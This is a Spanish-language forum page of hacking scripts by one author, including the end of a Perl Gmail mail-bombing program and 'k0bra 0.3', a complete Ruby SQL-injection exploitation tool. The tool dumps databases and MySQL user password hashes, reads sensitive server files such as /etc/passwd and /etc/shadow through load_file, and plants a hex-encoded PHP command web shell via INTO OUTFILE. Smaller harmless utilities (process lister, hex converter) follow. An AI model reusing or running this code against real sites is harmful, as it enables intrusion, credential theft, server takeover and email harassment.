    -text       => "20",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 75, -y => 212 );

$ve->Label(
    -text       => "Target : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 240 );
my $to = $ve->Entry(
    -text       => 'idiot@gmail.com',
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 73, -y => 242 );

$ve->Label(
    -text       => "Subject : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 270 );
my $tema = $ve->Entry(
    -text       => "Hi idiot",
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 73, -y => 273 );

$ve->Label(
    -text       => "Body",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 310 );
my $body = $ve->Text(
    -width      => 30,
    -height     => 12,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 45, -y => 350 );
$body->insert( "end", "Welcome to the hell" );

$ve->Button(
    -text             => "Send",
    -width            => 10,
    -command          => \&start,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 43, -y => 550 );
$ve->Button(
    -text             => "About",
    -width            => 10,
    -command          => \&about,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 117, -y => 550 );
$ve->Button(
    -text             => "Exit",
    -width            => 10,
    -command          => [ $ve => "destroy" ],
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 190, -y => 550 );

MainLoop;

sub start {

    $text = $body->get( "1.0", "end" );
    chomp $text;

    if (
        my $mail = Email::Send::SMTP::Gmail->new(
            -smtp  => "gmail.com",
            -login => $user->get,
            -pass  => $pass->get
        )
      )
    {

        for my $number ( 1 .. $number->get ) {
            $ve->update;
            $mail->send(
                -to      => $to->get,
                -subject => $tema->get,
                -body    => $text
            );
        }

        Win32::MsgBox( "Send", 0, "Mails Send" );

        $mail->bye;

    }
    else {
        Win32::MsgBox( "Error in the login", 0, "Error" );
    }
}

sub about {

    my $text =
"This program was written by Doddy H for the Tournament of Programming Perl
to forum HackxCrack";

    Win32::MsgBox( $text, 0, "About" );

}

#The End ?
#286
Scripting / [Ruby] k0bra 0.3
16 Febrero 2012, 18:16 PM
Un simple scanner SQLI con las siguientes funciones


  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados


    Código (ruby) [Seleccionar]

    #!usr/bin/ruby
    #K0bra 0.3
    #Coded By Doddy H

    require "net/http"

    $files = ['C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog']

    def toma(web)
      return Net::HTTP.get_response(URI.parse(web)).body
    end

    def copyright()
      print "\n\n(C) Doddy Hackman 2012\n\n"
      gets.chomp
    end

    def installer()
      dir = Dir::pwd+"/"+"logs_webs"
      if not FileTest::directory?(dir)
        Dir::mkdir(dir)
      end
    end

    def encodehex(texto)
      return "0x"+(texto.unpack('H*')[0])
    end

    def savefile(file,text)
      url = URI.parse(file)
      save = File.open("logs_webs/"+url.host+".txt","a")
      save.puts text+"\n"
      save.close
    end

    def bypass(op)
      if op=="--"
        return "+","--"
      elsif op=="/*"
       return "/**/","/**/"
      elsif op=="%20"
       return "%20","%00"
      else
       return "+","--"   
      end
    end

    def head()
     
      print "
     
    @      @@   @             
    @@     @  @ @@             
    @ @@  @  @  @ @   @ @ @@@
    @ @   @  @  @@ @ @@@ @  @
    @@    @  @  @  @  @   @@@
    @ @   @  @  @  @  @  @  @
    @@@ @   @@   @@@  @@@ @@@@@

    "
    end

    def volverinicio()
      print "\n\n[+] Press any key to continue\n\n"
      gets.chomp
      inicio()
    end

    def clean()
      if RUBY_PLATFORM=~/win/
        system("cls")
      else
        system("clear")
      end
    end

    def retorno(url,by)
      print "\n\n[+] Press any key to continue\n\n"
      gets.chomp
      central(url,by)
    end

    def gettables(url,by)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
      print "\n\n[+] Getting tables ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Tables Found : ",total,"\n\n"
        savefile(url,"\n[+] Tables Found : #{total}\n")
        for num in ("17"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Table Found : "+table+"\n"
            savefile(url,"[+] Table Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def getcolumns(url,by,tablex)
      tablexa = encodehex(tablex)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
      print "\n\n[+] Getting columns ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Columns Found : ",total,"\n\n"
        savefile(url,"\n[+] Table : #{tablex}")
        savefile(url,"[+] Columns Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Column Found : "+table+"\n"
            savefile(url,"[+] Column Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def getdbs(url,by)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))")
      print "\n\n[+] Getting DBS ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] DBS Found : ",total,"\n\n"
        savefile(url,"\n[+] DBS Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] DB Found : "+table+"\n"
            savefile(url,"[+] DB Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def gettablesbydb(url,by,dbx)
      data  = encodehex(dbx)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
      print "\n\n[+] Getting tables ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Tables Found : ",total,"\n\n"
        savefile(url,"\n[+] DBS : #{dbx}")
        savefile(url,"[+] Tables Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Table Found : "+table+"\n"
            savefile(url,"[+] Table Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def getcolumnsbydb(url,by,db,tab)
      data = encodehex(db)
      tabx = encodehex(tab)
     
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
      print "\n\n[+] Getting columns ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Columns Found : ",total,"\n\n"
        savefile(url,"\n[+] DB : #{db}")
        savefile(url,"[+] Table : #{tab}")
        savefile(url,"[+] Columns Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Column Found : "+table+"\n"
            savefile(url,"[+] Column Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def mysqluser(url,by)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))")
       print "\n\n[+] Searching mysql.user\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Users Mysql Found : ",total,"\n\n"
        savefile(url,"[+] Users Mysql Found : "+total+"\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*)K0BRAK0BRA1(.*)K0BRA1K0BRA2(.*)K0BRA2/
            host,user,passw = $1,$2,$3
            print "[Host] : "+host
            print " [User] : "+user
            print " [Pass] : "+passw+"\n"   
            savefile(url,"[Host] : "+host)
            savefile(url,"[User] : "+user)
            savefile(url,"[Pass] : "+passw+"\n")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def details(url,by)
      pass1,pass2 = bypass(by)
      hextest = "0x2f6574632f706173737764" #/etc/passwd
      hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
      web1 = url.sub(/hackman/,"0x4b30425241")
      web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
      web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
       print "\n\n[+] Extrating information of the DB\n\n"
      code1 = toma(web2)
      if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
        user,data,ver = $1,$2,$3
        print "\n[+] Username : "+user
        print "\n[+] Database : "+data
        print "\n[+] Version : "+ver+"\n\n"
        savefile(url,"\n[+] Username : "+user)
        savefile(url,"[+] Database : "+data)
        savefile(url,"[+] Version : "+ver+"\n")
      else
        print "[-] Not Found\n"
      end
       code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
       code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
       code4 = toma(web3)
       if code2=~/K0BRA/
         print "[+] Mysqluser : ON\n"
         savefile(url,"[+] Mysqluser : ON")
       end
       if code3=~/K0BRA/
         print "[+] information_schema : ON\n"
         savefile(url,"[+] information_schema : ON")
       end
       if code4=~/ERTOR854/
         print "[+] load_file : ON\n"
         savefile(url,"[+] load_file : ON")
       end   
       savefile(url,"") #espacio en blanco
    end

    def dumper(url,by,table,col1,col2)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,"+col2+",0x4b30425241)))")
      print "\n\n[+] Getting Values ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+table+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        savefile(url,"\n[+] Table : "+table)
        savefile(url,"[+] Column 1 : "+col1)
        savefile(url,"[+] Column 2 : "+col2)
        print "[+] Values Found : ",total,"\n\n"
        savefile(url,"\n[+] Values Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*)K0BRA(.*)K0BRA/
            uno,dos = $1,$2
            print "\n[+] "+col1+" : "+uno+"\n"
            print "[+] "+col2+" : "+dos+"\n"
            savefile(url,"\n[+] "+col1+" : "+uno)
            savefile(url,"[+] "+col2+" : "+dos)
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def fuzzfile(url,by)
      pass1,pass2 = bypass(by)
      print "\n\n[+] Fuzzing Files with load_file ....\n"
      $files.each do |file|
        res = file
        file = file.chomp
        file = encodehex(file)
        web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
        code = toma(web1)
        if code=~/ERTOR854(.*?)ERTOR854/m
          print "\n\n[File Found] : ",res
          print "\n\n[Source Start]\n"
          print $1
          print "\n[Source End]"
          savefile(url,"\n[File Found] : "+res)
          savefile(url,"\n[Source Start]\n")
          savefile(url,$1)
          savefile(url,"\n[Source End]")
        end   
      end
    end

    def abrirfile(url,by,file)
      pass1,pass2 = bypass(by)
      print "\n\n[+] Opening file ....\n"
      res = file
      file = encodehex(file)
        web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
        code = toma(web1)
        if code=~/ERTOR854(.*?)ERTOR854/m
          print "\n\n[File Found] : ",res
          print "\n\n[Source Start]\n"
          print $1
          print "\n[Source End]"
          savefile(url,"\n[File Found] : "+res)
          savefile(url,"\n[Source Start]\n")
          savefile(url,$1)
          savefile(url,"\n[Source End]")
        else
          print "\n\n[-] Error\n\n"
        end   
    end

    def into(url,by,full,dir)
      pass1,pass2 = bypass(by)
      linea= "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e"
      lugar = full+"/cmd.php"
      lugardos = dir+"/cmd.php"
      h = URI.parse(url)
      webtest = "http://"+h.host+lugardos
      web1 = url.sub(/hackman/,linea)
      formandoweb = web1+pass1+"into"+pass1+"outfile"+pass1+"'"+lugar+"'"+pass2
      toma(formandoweb)
      code = toma(webtest)
      if code=~/Mini Shell By Doddy/
        print "\n\n[shell up] : "+webtest+"\n"
        savefile(url,"\n[shell up] : "+webtest+"\n")
      else
        print "\n\n[-] Error\n"
      end
    end

    def central(url,by)
      clean()
      head()
      print "\n\n[+] Page : #{url}\n"
      print "[+] ByPass : #{by}\n\n\n"

      print "\n[information_schema]\n\n"
      print "1 - Show tables\n"
      print "2 - Show columns of the a table\n"
      print "3 - Show databases\n"
      print "4 - Show tables from the a DB\n"
      print "5 - Show columns from the a table of the DB\n"
      print "\n[mysql.user]\n\n"
      print "6 - Show users\n"
      print "\n[Others]\n\n"
      print "7 - Show details\n"
      print "8 - Dump data\n"
      print "9 - Fuzz Files with load_file\n"
      print "10 - Load files with load_file\n"
      print "11 - Create Shell\n"
      print "12 - Show log\n"
      print "13 - Change target\n"
      print "14 - Exit\n\n"
     
      print "[+] Option : "
      op = gets.chomp
       
      if op == "1"
        gettables(url,by)
        retorno(url,by)
      elsif op == "2"
        print "\n\n[+] Table : "
        table = gets.chomp
        getcolumns(url,by,table)
        retorno(url,by)
      elsif op == "3"
        getdbs(url,by)
        retorno(url,by)
      elsif op == "4"
        print "\n\n[+] DB : "
        db = gets.chomp
        gettablesbydb(url,by,db)
        retorno(url,by)
      elsif op == "5"
        print "\n\n[+] DB : "
        db = gets.chomp
        print "\n\n[+] Table : "
        tab = gets.chomp
        getcolumnsbydb(url,by,db,tab)
        retorno(url,by)
      elsif op == "6"
        mysqluser(url,by)
        retorno(url,by)
      elsif op == "7"
        details(url,by)
        retorno(url,by)
      elsif op == "8"
        print "\n\n[+] Table : "
        table = gets.chomp
        print "\n\n[+] Column 1 : "
        col1 = gets.chomp
        print "\n\n[+] Column 2 : "
        col2 = gets.chomp
        dumper(url,by,table,col1,col2)
        retorno(url,by)
      elsif op == "9"
        fuzzfile(url,by)
        retorno(url,by)
      elsif op == "10"
        print "\n\n[+] File : "
        file = gets.chomp
        abrirfile(url,by,file)
        retorno(url,by)
      elsif op == "11"
        print "\n\n[Full Source Discloure] : "
        full = gets.chomp
        print "\n\n[Directory to test] : "
        dir = gets.chomp
        into(url,by,full,dir)
        retorno(url,by)
      elsif op == "12"
        urla = URI.parse(url)
        ar = "logs_webs/"+urla.host+".txt"
        system("start #{ar}")
        retorno(url,by)
      elsif op == "13"
        inicio()
      elsif op == "14"
        copyright()
      else
        retorno(url,by)
      end
    end

    def findlength(url,by)
      pass1,pass2 = bypass(by)
      z = "1"
      x = "concat(0x4b30425241,1,0x4b30425241)"
      for num in ('2'..'25')
        z = z+","+num
        x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
        code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
        if code=~/K0BRA(.*?)K0BRA/
          print "[+] The Page has "+num+" columns\n"
          print "[+] The number "+$1+" print data"
          z = z.sub($1,"hackman")
          sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
          savefile(url,"[+] SQLI : "+sqli)
          savefile(url,"[+] Bypass : "+by+"\n")
          central(sqli,by)
        end
      end
    end

    def testvul(page,by)
      pass1,pass2 = bypass(by)
      print "\n\n[+] Testing vulnerability ...\n\n"
      codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
      codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
      if codeuno != codedos
        print "[+] Vulnerable !\n"
        findlength(page,by)
      else
        print "[-] Not vulnerable\n"
        print "\n\n[+] Scan anyway y/n : "
        op = gets.chomp
        if op == "y"
          findlength(page,by)
      else
        volverinicio()
      end
    end 
    end

    def inicio()
      clean()
      head()
      print "\n\n[+] Page : "
      page = gets.chomp
      print "\n\n[+] Bypass : "
      by = gets.chomp
      if page=~/hackman/
        central(page,by)
      else
        testvul(page,by)
      end
    end

    installer()
    inicio()

    # The End ?
#287
Scripting / [Ruby] ManProcess 0.1
16 Febrero 2012, 18:14 PM
Un simple programa para manejar los procesos en Windows.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#ManProcess 0.1
#Coded By Doddy H

require "win32ole"

def head()
  print "\n\n-- == Man Process 0.1 == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
  exit(1)
end

def retor()
  print "\n\n[+] Press any key to continue\n\n"
  gets.chomp
end

while 1
  head()
  print "1 - Show Process\n"
  print "2 - Close Process\n"
  print "3 - Exit\n\n\n"
  print "[+] Option : "
  op = gets.chomp
  if op == "1"
    print "\n\n[+] Getting process...\n\n"
    nave = WIN32OLE.connect("winmgmts://")
    pro = nave.ExecQuery("select * from win32_process")
    pro.each do |po|
      print "[+] Name : ",po.Caption," [+] PID : ",po.ProcessId,"\n"
    end
    retor()

  elsif op == "2"
    print "\n\n[+] Name : "
    name = gets.chomp
    k = WIN32OLE.connect("winmgmts://")
    control = k.ExecQuery("select * from Win32_process where name='#{name}'")
    control.each do |pro|
      pro.Terminate
    end
    print "\n\n[+] Process Closed\n\n"
    gets.chomp
  elsif op == "3"
    copyright()
  else
    print "\n\n[-] Bad Option\n\n"
    retor()
  end
end


# The End ?
#288
Scripting / [Ruby] Hex Converter 0.1
16 Febrero 2012, 18:12 PM
Un simple codigo para convertir texto a hex.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Hex Converter 0.1
#Coded By Doddy H

def head()
  print "\n -- == Hex Converter 0.1 == --\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
  exit(1)
end

def sintax()
  print "\n\n[+] ruby hex.rb <text>\n"
end

def encodehex(texto)
  return "0x"+(texto.unpack('H*')[0])
end

def hex(texto)
  print "\n\n[+] Text : #{texto}\n"
  print "[+] Result : "+encodehex(texto)+"\n\n"
end

texto = ARGV[0]

head()
if !texto
  sintax()
else
  hex(texto)
end
copyright()

# The End ?
#289
Scripting / [Ruby] Google Search 0.3
11 Febrero 2012, 23:06 PM
Un buscador de google , con la opcion de poder hacer un scanner SQLI en las paginas encontradas.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Google Search 0.3
#Coded By Doddy H

require "net/http"

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end

def openwords(file)
  if File.file?(file)
    print "[+] Opening file\n\n"
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    print "[+] Number of words : ",lineas.length,"\n\n"
    return lineas
  else
    print "[-] Error opening file\n"
  end
end

def head()
  print "
  @@@@                     @           @@@                        @   
@    @                    @          @   @                       @   
@                         @          @                           @   
@        @@@   @@@   @@@@ @  @@@     @       @@@   @@@  @@  @@@  @ @@
@  @@@  @   @ @   @ @   @ @ @   @     @@@   @   @     @ @  @   @ @@  @
@    @  @   @ @   @ @   @ @ @@@@@        @  @@@@@  @@@@ @  @     @   @
